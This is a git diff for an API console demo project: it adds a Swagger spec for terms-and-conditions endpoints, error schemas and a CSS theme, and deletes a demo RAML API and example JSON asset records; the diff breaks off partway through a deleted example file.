"schemes": [ + "https" + ], + "consumes": [ + "application/json" + ], + "produces": [ + "application/json" + ], + "tags": [ + { + "name": "test", + "description": "test" + } + ], + "parameters": { + "trait:content-type-required:content-type": { + "required": true, + "type": "string", + "in": "header", + "name": "content-type" + } + }, + "paths": { + "/legal/termsConditionsAcceptReset": { + "delete": { + "description": "Delete participants existing terms and conditions", + "responses": { + "200": { + "description": "This status code will be returned when request passes" + }, + "400": { + "$ref": "traits/response-errors.json#/responses/400" + }, + "404": { + "$ref": "traits/response-errors.json#/responses/404" + }, + "405": { + "$ref": "traits/response-errors.json#/responses/405" + }, + "406": { + "$ref": "traits/response-errors.json#/responses/406" + }, + "415": { + "$ref": "traits/response-errors.json#/responses/406" + }, + "500": { + "$ref": "traits/response-errors.json#/responses/500" + }, + "501": { + "$ref": "traits/response-errors.json#/responses/501" + } + } + } + }, + "/legal/termsConditionsAccept": { + "get": { + "description": "Retrieves a user's status on terms and conditions acceptance.", + "responses": { + "200": { + "description": "This status code will be returned when request passes.", + "schema": { + "$ref": "schemas_response/schema-termsConditionsAccept-Get.json" + }, + "examples": { + "application/json": { + "logonID": "indybrad", + "accepted" : true, + "acceptedDate" : "2018-01-01T12:00:00.000" + } + } + }, + "400": { + "$ref": "traits/response-errors.json#/responses/400" + }, + "404": { + "$ref": "traits/response-errors.json#/responses/404" + }, + "405": { + "$ref": "traits/response-errors.json#/responses/405" + }, + "406": { + "$ref": "traits/response-errors.json#/responses/406" + }, + "415": { + "$ref": "traits/response-errors.json#/responses/406" + }, + "500": { + "$ref": "traits/response-errors.json#/responses/500" + }, + "501": { + "$ref": "traits/response-errors.json#/responses/501" + } + }, + "parameters": [ + { + "required": true, + "type": "string", + "in": "header", + "name": "webLogonID" + }, + { + "$ref": "#/parameters/trait:content-type-required:content-type" + } + ] + }, + "post": { + "description": "Store participant's terms and conditions acceptance.", + "responses": { + "200": { + "description": "This status code will be returned when request passes." + }, + "400": { + "$ref": "traits/response-errors.json#/responses/400" + }, + "404": { + "$ref": "traits/response-errors.json#/responses/404" + }, + "405": { + "$ref": "traits/response-errors.json#/responses/405" + }, + "406": { + "$ref": "traits/response-errors.json#/responses/406" + }, + "415": { + "$ref": "traits/response-errors.json#/responses/406" + }, + "500": { + "$ref": "traits/response-errors.json#/responses/500" + }, + "501": { + "$ref": "traits/response-errors.json#/responses/501" + } + }, + "parameters": [ + { + "$ref": "#/parameters/trait:content-type-required:content-type" + }, + { + "in": "body", + "name": "body", + "schema": { + "$ref": "schemas/schema-termsConditionsAccept.json" + }, + "required": true + } + ] + } + } + } +} \ No newline at end of file diff --git a/demo/apis/steveTest-1/traits/response-errors.json b/demo/apis/steveTest-1/traits/response-errors.json new file mode 100755 index 0000000..79d2cc0 --- /dev/null +++ b/demo/apis/steveTest-1/traits/response-errors.json @@ -0,0 +1,123 @@ +{ + "responses": { + "400": { + "description": "Status code and error message will be returned if validation fails.", + "schema": { + "$ref": "schema-response-errors.json#/properties/errorInfo" + }, + "examples": { + "application/json": { + "errorInfo": [ + { + "code": "400", + "message": "Bad request", + "detail": "Invalid request" + } + ] + } + } + }, + "404": { + "description": "Resource not found for requested URI.", + "schema": { + "$ref": "schema-response-errors.json#/properties/errorInfo" + }, + "examples": { + "application/json": { + "errorInfo": [ + { + "code": "404", + "message": "Resource not found", + "detail": "Resource not found for requested URI" + } + ] + } + } + }, + "405": { + "description": "Method not allowd for requested resource.", + "schema": { + "$ref": "schema-response-errors.json#/properties/errorInfo" + }, + "examples": { + "application/json": { + "errorInfo": [ + { + "code": "405", + "message": "Method not allowed", + "detail": "Method not allowed for requested resource" + } + ] + } + } + }, + "406": { + "description": "Request headers are not acceptable.", + "schema": { + "$ref": "schema-response-errors.json#/properties/errorInfo" + }, + "examples": { + "application/json": { + "errorInfo": [ + { + "code": "406", + "message": "Not acceptable", + "detail": "Request accept headers are not acceptable" + } + ] + } + } + }, + "415": { + "description": "Request format is not supported by the requested resource.", + "schema": { + "$ref": "schema-response-errors.json#/properties/errorInfo" + }, + "examples": { + "application/json": { + "errorInfo": [ + { + "code": "415", + "message": "Unsupported media type", + "detail": "Request format is not supported by the requested resource" + } + ] + } + } + }, + "500": { + "description": "Status code and error message will be returned when the endpoint encounters an unexpected technical error", + "schema": { + "$ref": "schema-response-errors.json#/properties/errorInfo" + }, + "examples": { + "application/json": { + "errorInfo": [ + { + "code": "500", + "message": "Unexpected server error", + "detail": "Service encountered an unexpected error while processing the request" + } + ] + } + } + }, + "501": { + "description": "Service method is not implemented.", + "schema": { + "$ref": "schema-response-errors.json#/properties/errorInfo" + }, + "examples": { + "application/json": { + "errorInfo": [ + { + "code": "501", + "message": "Not Implemented", + "detail": "Service method is not implemented" + } + ] + } + } + } + } +} \ No newline at end of file diff --git a/demo/apis/steveTest-1/traits/schema-response-errors.json b/demo/apis/steveTest-1/traits/schema-response-errors.json new file mode 100755 index 0000000..0eb8cb7 --- /dev/null +++ b/demo/apis/steveTest-1/traits/schema-response-errors.json @@ -0,0 +1,35 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema", + "id": "http://example.com/example.json", + "type": "object", + "additionalProperties": true, + "properties": { + "errorInfo": { + "id": "#/properties/errorInfo", + "type": "array", + "additionalItems": true, + "items": { + "id": "#/properties/errorInfo/items/", + "type": "object", + "additionalProperties": true, + "properties": { + "code": { + "id": "#/properties/errorInfo/items/anyOf/0/properties/code", + "type": "string", + "description": "Error code generated during processing." + }, + "message": { + "id": "#/properties/errorInfo/items/anyOf/0/properties/message", + "type": "string", + "description": "High-level error message grouping of the generated error." + }, + "detail": { + "id": "#/properties/errorInfo/items/anyOf/0/properties/detail", + "type": "string", + "description": "Detail error message of the generated error." + } + } + } + } + } +} \ No newline at end of file diff --git a/demo/type-fragment/type-fragment.raml b/demo/apis/type-fragment/type-fragment.raml similarity index 100% rename from demo/type-fragment/type-fragment.raml rename to demo/apis/type-fragment/type-fragment.raml diff --git a/demo/demo-api/demo-api.raml b/demo/demo-api/demo-api.raml deleted file mode 100644 index 3dab08d..0000000 --- a/demo/demo-api/demo-api.raml +++ /dev/null @@ -1,463 +0,0 @@ -#%RAML 1.0 -title: API body demo -version: v1 -baseUri: http://{instance}.domain.com/ - -mediaType: [application/json, application/xml] -protocols: [HTTP, HTTPS] - -description: | - This is a description of demo API. - - This is **markdown**. - -baseUriParameters: - instance: - description: | - The execution environments. Can be one of: - - development - - staging - - qa - - production - type: string - enum: [development, staging, qa, production] - pattern: (development|staging|qa|production) - default: production -annotationTypes: - deprecated: string - annotationTest: nil - clearanceLevel: - properties: - level: - enum: [ low, medium, high ] - required: true - signature: - pattern: "\\d{3}-\\w{12}" - required: true -uses: - ExampleType: resourceTypes/example-types.raml - myLib: library.raml -types: - Image: !include resourceTypes/image.raml - Resource: !include resourceTypes/resource.raml - AppPerson: !include resourceTypes/app-person.raml - Product: !include resourceTypes/product.raml - ErrorResource: - description: A response that is errored - type: object - properties: - error: - type: boolean - required: true - example: true - default: true - description: Indicate that the response is errored. - message: - type: string - description: The error message associated with the error. - required: true - Feature: - description: A feature to test enum values in the URI parameters. - type: string - enum: - - A - - B - - C - -resourceTypes: - ResourceNotFound: - get: - responses: - 404: - body: - application/json: - displayName: Not found response - type: ErrorResource - application/xml: - displayName: Not found response - type: !include schemas/error-response.xsd - example: !include examples/e404.xml - UnauthorizedResponse: - get: - responses: - 404: - body: - application/json: - displayName: Unauthorized response - type: ErrorResource - application/xml: - displayName: Unauthorized response - type: !include schemas/error-response.xsd - example: !include examples/e401.xml - RequestErrorResponse: - get: - responses: - 400: - description: The error response when one of the parameters is invalid and can't be parsed. Nothing can be done at the time except correcting the request to send valid data. - body: - application/json: - displayName: Invalid request - type: ErrorResource - application/xml: - displayName: Invalid request - type: !include schemas/error-response.xsd - example: !include examples/e400.xml -traits: - Paginated: !include traits/pagination.raml - Adminable: !include traits/adminable.raml -securitySchemes: - oauth_2_0: !include securitySchemes/oauth_2_0.raml - x-custom: !include securitySchemes/x-custom.raml - basic: !include securitySchemes/basic.raml - libOauth: myLib.oauthLib - -documentation: - - title: Test doc - content: Test content - - -/test-parameters/{feature}: - (deprecated): This endpoint is deprecated and will be removed. - securedBy: [libOauth] - uriParameters: - feature: - type: string - enum: - - A - - B - - C - get: - (deprecated): This method is deprecated and will be removed. - (clearanceLevel): - level: high - signature: 230-ghtwvfrs1itr - description: To test enum values in the URI parameters for inline type declaration. - queryParameters: - testRepeatable: - (deprecated): Test parameter will be removed in next version of the API. - required: true - type: string[] - example: [value1, value2] - numericRepeatable: - required: true - type: integer[] - examples: - Some-test-example: [123, 456] - Other-example: [1011, 1213] - notRequiredRepeatable: - (annotationTest): - type: array - items: date-only - required: false - /{typeFeature}: - (annotationTest): - (deprecated): This method will be removed in future release of the API. - uriParameters: - typeFeature: - (annotationTest): - type: Feature - get: - (deprecated): This endpoint is deprecated and will be removed. - description: To test enum values in the URI parameters for global type declaration. -/people: - displayName: People - get: - (annotationTest): - displayName: List people - description: Use this method to list all the people. - is: [Paginated: {resourceType: AppPerson}] - headers: - x-people-op-id: - (annotationTest): - type: string - pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$ - description: People ops ID. It is UUID v4 string - example: 9719fa6f-c666-48e0-a191-290890760b30 - post: - (deprecated): | - This method is not deprecated. And this is only an annotation test. - displayName: Create a person - description: Use this method to add new person - body: - application/json: - (deprecated): This response type is deprecated and soon will be replaced. - type: AppPerson - application/xml: - type: !include schemas/person.xsd - example: !include examples/person.xml - put: - displayName: Update a person - description: Updates the person in the datastore. - body: - application/json: - schema: !include schemas/person.json - example: !include examples/person.json - application/xml: - type: !include schemas/person.xsd - example: !include examples/person.xml - responses: - 200: - (deprecated): This response type is deprecated and soon will be replaced. - description: | - Success response for the body - headers: - X-Frame-Options: - type: string - examples: - Deny: DENY - SameOrigin: SAMEORIGIN - body: - application/json: - schema: !include schemas/person.json - example: !include examples/person.json - application/xml: - type: !include schemas/person.xsd - example: !include examples/person.xml - /{personId}: - securedBy: x-custom - type: ResourceNotFound - displayName: A person - description: The endpoint to access information about the person - uriParameters: - personId: - type: integer - required: true - description: The ID of the person in the system. It is generated by the database numeric value for the person. - example: 1234 - get: - displayName: Get a person - description: Returns a person - headers: - x-client-id: - (deprecated): This will be replaced - example: 123456-acme.client.com - description: The application id used to make a request. It can be obtained in the developer console. - type: string - required: true - x-people-op-id: - (annotationTest): - type: string - pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$ - description: People ops ID. It is UUID v4 string - example: 9719fa6f-c666-48e0-a191-290890760b30 - responses: - 200: - body: - application/json: - type: AppPerson - application/xml: - type: !include schemas/person.xsd - example: !include examples/person.xml - delete: - displayName: Remove a person - description: Removes the person from the datastore. This method do not returns any data in 200 response. - responses: - 204: - headers: - x-people-op-id: - (annotationTest): - type: string - pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$ - description: People ops ID. It is UUID v4 string - example: 9719fa6f-c666-48e0-a191-290890760b30 - put: - displayName: Update a person - description: Updates the person in the datastore. - queryParameters: - testPatam: string - body: - application/json: - type: AppPerson - application/xml: - type: !include schemas/person.xsd - example: !include examples/person.xml - responses: - 200: - headers: - x-people-op-id: - (annotationTest): - type: string - pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$ - description: People ops ID. It is UUID v4 string - example: 9719fa6f-c666-48e0-a191-290890760b30 -/products: - displayName: Products - description: The API is to be used to access data about the products. - post: - displayName: Create product - description: | - Creates a product in the store. - While creating a product the `id` and `etag` properties will be ignored. - - The endpoint will reject the request if exactly the same product is already defined in the - datastore (all properties of both objects equals). Newly created product is available - for listing but **it won't be available for ordering API** until it's availability is not set. - body: - application/json: - type: Product - application/xml: - type: !include schemas/product.xsd - example: !include examples/product.xml - responses: - 200: - body: - application/json: - type: Product - examples: - Product: - id: d697f5cea85011e680f576304dec7eb7 - name: Super product - quantity: 125 - unit: ml - upc: "123456789101" - available: true - etag: "W/\"686897696a7c876b7e\"" - OtherProduct: - id: 123e4567e89b12d3a456426655440000 - name: Acme Product - quantity: 1 - unit: kg - upc: "223456789101" - available: true - etag: "W/\"123456789\"" - application/xml: - type: !include schemas/product.xsd - example: !include examples/product.xml - 400: - description: The request has been rejected. Probably the product already exists in the datastore. -/orgs: - /{orgId}: - get: - displayName: Get organization - description: Returns an organization info. - responses: - 200: - body: - application/json: - type: ExampleType.Org - properties: - id: - type: string - description: UUID generated ID - example: - id: "12345" - onCall: - firstname: nico - lastname: ark - kind: AcmeAdmin - clearanceLevel: low - phone: "12321" - Head: - firstname: nico - lastname: ark - kind: AcmeManager - reports: - - - firstname: nico - lastname: ark - kind: admin - phone: "123-23" - put: - body: - application/json: - type: ExampleType.Org - properties: - id: - type: string - description: UUID generated ID - responses: - 200: - body: - application/json: - type: ExampleType.Org - /managers: - get: - responses: - 200: - body: - application/json: - type: ExampleType.Manager[] -/messages: - securedBy: [oauth_2_0] - post: - description: Create a new message - is: [Adminable] - body: - application/json: - type: object - properties: - receiver: - type: string - description: receiver of the message - required: true - body: - type: string - description: A message body - required: true - important: - type: boolean - description: If true then the message will be marked as important - default: false - required: true - get: - description: | - List user messages. It returns an array of messages for last of 7 days if - `since` property is not set. - You can use `since` and `until` query parameters to control messages time - span. - queryParameters: - until: - (annotationTest): - type: date-only - description: Date right limit of the messages query. - example: 2017-05-12 - since: - type: date-only - description: Date left limit of the messages query. - example: 2017-05-10 - responses: - 200: - body: - application/json: - type: array - items: !include resourceTypes/message-type.raml - example: !include examples/messages-example.json - /bulk: - post: - description: Bulk create messages. - is: [Adminable] - body: - application/json: - (annotationTest): - type: array - items: !include resourceTypes/message-sent-type.raml - examples: - Example1: !include examples/messages-sent-example.json -/arrayBody: - post: - body: - application/json: - (deprecated): This response type is deprecated and soon will be replaced. - description: | - This demonstrates a body as an Array - type: AppPerson[] -/multipleTypeInheritance: - get: - description: | - The response body inherits the following types: - - - AppPerson - - AlertableAdmin - responses: - 200: - body: - application/json: - type: - - AppPerson - - ExampleType.AlertableAdmin -/typeFromLibraryEndpoint: - post: - body: - type: myLib.TypeFromLibray - responses: - 200: diff --git a/demo/demo.css b/demo/demo.css new file mode 100644 index 0000000..940c994 --- /dev/null +++ b/demo/demo.css @@ -0,0 +1,162 @@ +body [role="main"].centered { + max-width: 1900px; +} + +.api-demo-content { + display: flex; +} + +.api-demo-content arc-interactive-demo { + flex: 1; +} + +.api-demo-content api-navigation { + width: 360px; + margin-right: 24px; +} + +.request-dialog { + width: 90%; +} + +[slot="content"] { + flex: 1; + align-self: start; + margin: 20px; +} + +body.demo.styled { + color: #000; + --error-color: red; + --primary-text-color: #000; + --primary-color: #e91e63; + --primary-background-color: #ffffff; + --dark-divider-opacity: 0.12; + --anypoint-button-emphasis-high-background-color: var(--accent-color); + --anypoint-dropdown-shadow: 0 4px 5px 0 rgba(0, 0, 0, 0.14), 0 1px 10px 0 rgba(0, 0, 0, 0.12), 0 2px 4px -1px rgba(0, 0, 0, 0.4); + + --arc-font-body1-font-size: 1rem; + + --code-font-family: 'Roboto Mono', 'Consolas', 'Menlo', monospace; + + /* HTTP method colors */ + --http-get-color: #008000; + --http-post-color: #2196F3; + --http-put-color: #FFA500; + --http-patch-color: #9C27B0; + --http-delete-color: #F44336; + --http-options-color: rgba(128, 128, 128, 0.74); + --http-head-color: rgba(128, 128, 128, 0.74); + --http-connect-color: rgba(128, 128, 128, 0.74); + --http-trace-color: rgba(128, 128, 128, 0.74); + --http-method-label-get-background-color: var(--http-get-color); + --http-method-label-get-color: #fff; + --http-method-label-post-background-color: var(--http-post-color); + --http-method-label-post-color: #fff; + --http-method-label-put-background-color: var(--http-put-color); + --http-method-label-put-color: #000; + --http-method-label-delete-background-color: var(--http-delete-color); + --http-method-label-delete-color: #fff; + --http-method-label-options-background-color: var(--http-options-color); + --http-method-label-options-background-color: var(--primary-text-color); + --http-method-label-head-background-color: var(--http-head-color); + --http-method-label-head-color: var(--primary-text-color); + --http-method-label-patch-background-color: var(--http-patch-color); + --http-method-label-patch-color: #fff; + + --anypoint-tabs-selection-bar-color: var(--primary-color); +} + +body.demo.styled.api.dark { + --primary-color: #ffcc80; + --primary-text-color: #fff; + --accent-color: #E040FB; + --secondary-text-color: rgba(255, 255, 255, 0.84); + --primary-background-color: #212121; + --secondary-background-color: #313131; + --error-color: #ff9090; + --error-message-color: var(--error-color); + --link-color: #8bc34a; + --input-background-color: var(--primary-background-color); + --active-background-color: #616161; + + --anypoint-input-background-color: var(--input-background-color); + --anypoint-input-label-color: var(--primary-text-color); + --anypoint-input-input-color: var(--primary-text-color); + --anypoint-input-border-bottom-color: var(--primary-text-color); + --anypoint-input-focused-border-bottom-color: var(--primary-text-color); + --anypoint-input-label-background-color: rgb(66, 66, 66); + --anypoint-input-legacy-focus-background-color: #3a3b3c; + --anypoint-input-legacy-focus-border-color: #178bea; + --anypoint-input-info-message-color: var(--primary-text-color); + + --anypoint-dropdown-menu-background-color: #494949; + --anypoint-dropdown-menu-label-background-color: var(--primary-background-color); + --anypoint-listbox-background-color: #494949; + --anypoint-dropdown-menu-focus-background-color: #9E9E9E; + --anypoint-dropdown-menu-label-color: #fff; + --anypoint-dropdown-menu-info-message-color: #fff; + --anypoint-item-hover-background-color: #9E9E9E; + --anypoint-item-focused-background-color: var(--primary-background-color); + --anypoint-icon-button-emphasis-low-color: #fff; + + /* HTTP method colors */ + --http-get-color: #c6f68d; + --http-post-color: #b39afd; + --http-put-color: #ffc77d; + --http-patch-color: #f186c0; + --http-delete-color: #FF5252; + --http-options-color: rgba(128, 128, 128, 0.74); + --http-head-color: rgba(128, 128, 128, 0.74); + --http-connect-color: rgba(128, 128, 128, 0.74); + --http-trace-color: rgba(128, 128, 128, 0.74); + --http-method-label-get-background-color: var(--http-get-color); + --http-method-label-get-color: #000; + --http-method-label-post-background-color: var(--http-post-color); + --http-method-label-post-color: #000; + --http-method-label-put-background-color: var(--http-put-color); + --http-method-label-put-color: #000; + --http-method-label-delete-background-color: var(--http-delete-color); + --http-method-label-delete-color: #000; + --http-method-label-options-background-color: var(--http-options-color); + --http-method-label-options-background-color: var(--primary-text-color); + --http-method-label-head-background-color: var(--http-head-color); + --http-method-label-head-color: var(--primary-text-color); + --http-method-label-patch-background-color: var(--http-patch-color); + --http-method-label-patch-color: #000; + + --operation-params-title-color: var(--primary-text-color); + --operation-subheader-color: var(--secondary-text-color); + --operation-description-color: var(--secondary-text-color); + + --resource-subheader-color: var(--secondary-text-color); + --security-subheader-color: var(--secondary-text-color); + --pill-color: #000; + + --markdown-styles-code-text-shadow: none; + --markdown-styles-h6-color: var(--secondary-text-color); + --markdown-styles-table-row-background-color: var(--primary-background-color); + --markdown-styles-table-even-row-background-color: var(--secondary-background-color); + + --code-color: var(--primary-text-color); + --code-background-color: #202020; + --code-punctuation-value-color: var(--code-color); + + --api-annotation-document-color: var(--primary-text-color); + --api-annotation-background-color: var(--primary-background-color); + --api-body-document-description-color: var(--primary-text-color); + + --api-endpoint-url-background-color: var(--primary-background-color); + --api-endpoint-url-color: var(--primary-text-color); + + --http-code-snippet-code-text-shadow: var(--primary-text-color); + --http-code-snippet-container-background-color: var(--code-background-color); + --http-code-snippet-code-function-color: #82AAFF; + --http-code-snippet-code-keyword-color: #C792EA; + --http-code-snippet-code-cdata-color: #adb9c5; + + --resource-tryit-background-color: var(--code-background-color); + --resource-tryit-panels-background-color: transparent; + --error-message-icon-color: #cccccc; + --error-message-code-color: var(--secondary-text-color); +} diff --git a/demo/exchange-experience-api/examples/API-instance.json b/demo/exchange-experience-api/examples/API-instance.json deleted file mode 100644 index 062132d..0000000 --- a/demo/exchange-experience-api/examples/API-instance.json +++ /dev/null @@ -1,14 +0,0 @@ -{ - "id": "3defc266-c001-431c-88d2-7cc83928efca", - "groupId": "com.mulesoft", - "assetId": "salesforce", - "productApiVersion": "v1", - "environmentId": "1234", - "name": "Instance name", - "endpointUri": "https://www.yes.com/dog", - "createdBy": "e1dd88f8-dG6e-4443-93a1-bd074603e118", - "createdDate": "2017-09-22T19:26:00.815Z", - "updatedDate": "2017-09-22T19:26:00.815Z", - "isPublic": true, - "type": "external" -} diff --git a/demo/exchange-experience-api/examples/asset-users.json b/demo/exchange-experience-api/examples/asset-users.json deleted file mode 100644 index 8197602..0000000 --- a/demo/exchange-experience-api/examples/asset-users.json +++ /dev/null @@ -1,11 +0,0 @@ -[ - { - "id": "4b8c4ccd-c8fd-49ff-aa97-cf434d9d4e97", - "username": "fredy", - "firstName": "Fred", - "lastName": "Sanchez", - "profilePhoto": "http://my-photos.com/fredy.jpg", - "email": "fredy@wash.com", - "role": "admin" - } -] diff --git a/demo/exchange-experience-api/examples/asset.json b/demo/exchange-experience-api/examples/asset.json deleted file mode 100644 index c447416..0000000 --- a/demo/exchange-experience-api/examples/asset.json +++ /dev/null @@ -1,157 +0,0 @@ -{ - "id": "org.mule.modules/Test-connector-1/1.0.0", - "groupId": "org.mule.modules", - "assetId": "Test-connector-1", - "version": "1.0.0", - "isPublic": false, - "productAPIVersion": "v1", - "description": "My connector test description", - "name": "My Anypoint Connector", - "type": "connector", - "createdAt": "2017-01-25T19:36:45.654Z", - "modifiedAt": "2017-01-25T19:36:45.654Z", - "runtimeVersion": "v1", - "assetLink": "http://www.racing.com.ar", - "icon": "http://www.icon.com.ar", - "status": "published", - "rating": 3.5, - "numberOfRates": 2, - "versions": [ - { - "id": "org.mule.modules/Test-connector-1/1.0.0", - "groupId": "org.mule.modules", - "assetId": "Test-connector-1", - "version": "1.0.0", - "muleVersionId": "3.7" - }, - { - "id": "org.mule.modules/Test-connector-1/2.0.0", - "groupId": "org.mule.modules", - "assetId": "Test-connector-1", - "version": "2.0.0", - "muleVersionId": "3.7" - } - ], - "tags": [ - { - "key": "Mule", - "value": "Connetor", - "mutable": true - }, - { - "key": "Tech", - "value": "Database", - "mutable": true - } - ], - "dependencies": [ - { - "id": "org.mule.modules/Test-connector-1/1.0.0", - "groupId": "org.mule.modules", - "assetId": "Test-connector-1", - "version": "1.0.0", - "type": "extension", - "name": "Mule App" - } - ], - "files": [ - { - "classifier": "oas", - "packaging": "yaml", - "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/49a29662-d318-4628-ad79-4828b264add2/carlos-1.0.0-oas.yaml?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=WyEWbW0Ipg0%2FiyMUbBj05zYZ97Y%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-oas.yaml", - "md5": "d2dd14a6cbbb15869105d9755d2f8345", - "createdDate": "2017-11-15T14:45:56.592Z" - }, - { - "classifier": "fat-raml", - "packaging": "zip", - "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/97a76ab9-3639-4002-9b84-bb6b751860d3/carlos-1.0.0-fat-raml.zip?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=xOE%2BHrUE7ssYwYq259LQRdXQveY%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-raml.zip", - "md5": "cc06a35cbb56a7468ba434810972e89a", - "createdDate": "2017-11-15T14:45:56.592Z" - } - ], - "instances": [ - { - "id": "mocking-service", - "groupId": "f0c9b011-980e-4928-9430-e60e3a97c043.agw", - "assetId": "carlos", - "productAPIVersion": "v1", - "version": "1.0.0", - "environmentId": "id", - "endpointUri": "https://mocksvc-proxy.anypoint.mulesoft.com/exchange/f0c9b011-980e-4928-9430-e60e3a97c043.agw/carlos/1.0.0", - "name": "Mocking Service", - "isPublic": true, - "type": "mocked", - "fullname": "Mocking Service" - } - ], - "productAPIVersions": [ - { - "productAPIVersion": "v1", - "versions": [ - { - "id": "f0c9b011-980e-4928-9430-e60e3a97c043.agw/carlos/1.0.0", - "groupId": "f0c9b011-980e-4928-9430-e60e3a97c043.agw", - "assetId": "carlos", - "version": "1.0.0", - "organization": { - "id": "d83b3280-4ea8-4c3b-a8a2-ec6e589574f4" - }, - "status": "published", - "isPublic": false, - "createdAt": "2017-11-15T14:45:58.962Z", - "assetLink": "", - "runtimeVersion": "", - "productAPIVersion": "v1", - "files": [ - { - "classifier": "oas", - "packaging": "yaml", - "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/49a29662-d318-4628-ad79-4828b264add2/carlos-1.0.0-oas.yaml?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=WyEWbW0Ipg0%2FiyMUbBj05zYZ97Y%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-oas.yaml", - "md5": "d2dd14a6cbbb15869105d9755d2f8345", - "createdDate": "2017-11-15T14:45:56.592Z" - }, - { - "classifier": "fat-raml", - "packaging": "zip", - "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/97a76ab9-3639-4002-9b84-bb6b751860d3/carlos-1.0.0-fat-raml.zip?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=xOE%2BHrUE7ssYwYq259LQRdXQveY%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-raml.zip", - "md5": "cc06a35cbb56a7468ba434810972e89a", - "createdDate": "2017-11-15T14:45:56.592Z" - } - ], - "type": "rest-api" - } - ] - } - ], - "metadata": { - "productApiVersion": "v1" - }, - "createdBy": { - "id": "22222a22-2222-22a2-a2aa-2222222222aa", - "firstName": "Charlie", - "lastName": "Brown", - "userName": "Char" - }, - "permissions": [ - "admin", - "edit" - ], - "organization": { - "name": "AGW", - "id": "d83b3280-4ea8-4c3b-a8a2-ec6e589574f4", - "createdAt": "2017-09-01T19:05:53.528Z", - "updatedAt": "2017-11-01T16:56:04.797Z", - "ownerId": "6dd2fd2d-9a83-4949-9a3f-72f3a065fef3", - "clientId": "a1e5d79e5bf3482fa22e90825b92142c", - "domain": "mulesoft-inc", - "idprovider_id": "mulesoft", - "isFederated": false, - "parentOrganizationIds": [ - "f0c9b011-980e-4928-9430-e60e3a97c043" - ], - "subOrganizationIds": [], - "tenantOrganizationIds": [], - "isMaster": false - } -} diff --git a/demo/exchange-experience-api/examples/assetStatus.json b/demo/exchange-experience-api/examples/assetStatus.json deleted file mode 100644 index 987d490..0000000 --- a/demo/exchange-experience-api/examples/assetStatus.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "status": "published" -} diff --git a/demo/exchange-experience-api/examples/assets.json b/demo/exchange-experience-api/examples/assets.json deleted file mode 100644 index 6f17f3e..0000000 --- a/demo/exchange-experience-api/examples/assets.json +++ /dev/null @@ -1,159 +0,0 @@ -[ - { - "id": "org.mule.modules/Test-connector-1/1.0.0", - "groupId": "org.mule.modules", - "assetId": "Test-connector-1", - "version": "1.0.0", - "isPublic": false, - "productAPIVersion": "v1", - "description": "My connector test description", - "name": "My Anypoint Connector", - "type": "connector", - "createdAt": "2017-01-25T19:36:45.654Z", - "modifiedAt": "2017-01-25T19:36:45.654Z", - "runtimeVersion": "v1", - "assetLink": "http://www.racing.com.ar", - "icon": "http://www.icon.com.ar", - "status": "published", - "rating": 3.5, - "numberOfRates": 2, - "versions": [ - { - "id": "org.mule.modules/Test-connector-1/1.0.0", - "groupId": "org.mule.modules", - "assetId": "Test-connector-1", - "version": "1.0.0", - "muleVersionId": "3.7" - }, - { - "id": "org.mule.modules/Test-connector-1/2.0.0", - "groupId": "org.mule.modules", - "assetId": "Test-connector-1", - "version": "2.0.0", - "muleVersionId": "3.7" - } - ], - "tags": [ - { - "key": "Mule", - "value": "Connetor", - "mutable": true - }, - { - "key": "Tech", - "value": "Database", - "mutable": true - } - ], - "dependencies": [ - { - "id": "org.mule.modules/Test-connector-1/1.0.0", - "groupId": "org.mule.modules", - "assetId": "Test-connector-1", - "version": "1.0.0", - "type": "extension", - "name": "Mule App" - } - ], - "files": [ - { - "classifier": "oas", - "packaging": "yaml", - "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/49a29662-d318-4628-ad79-4828b264add2/carlos-1.0.0-oas.yaml?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=WyEWbW0Ipg0%2FiyMUbBj05zYZ97Y%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-oas.yaml", - "md5": "d2dd14a6cbbb15869105d9755d2f8345", - "createdDate": "2017-11-15T14:45:56.592Z" - }, - { - "classifier": "fat-raml", - "packaging": "zip", - "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/97a76ab9-3639-4002-9b84-bb6b751860d3/carlos-1.0.0-fat-raml.zip?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=xOE%2BHrUE7ssYwYq259LQRdXQveY%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-raml.zip", - "md5": "cc06a35cbb56a7468ba434810972e89a", - "createdDate": "2017-11-15T14:45:56.592Z" - } - ], - "instances": [ - { - "id": 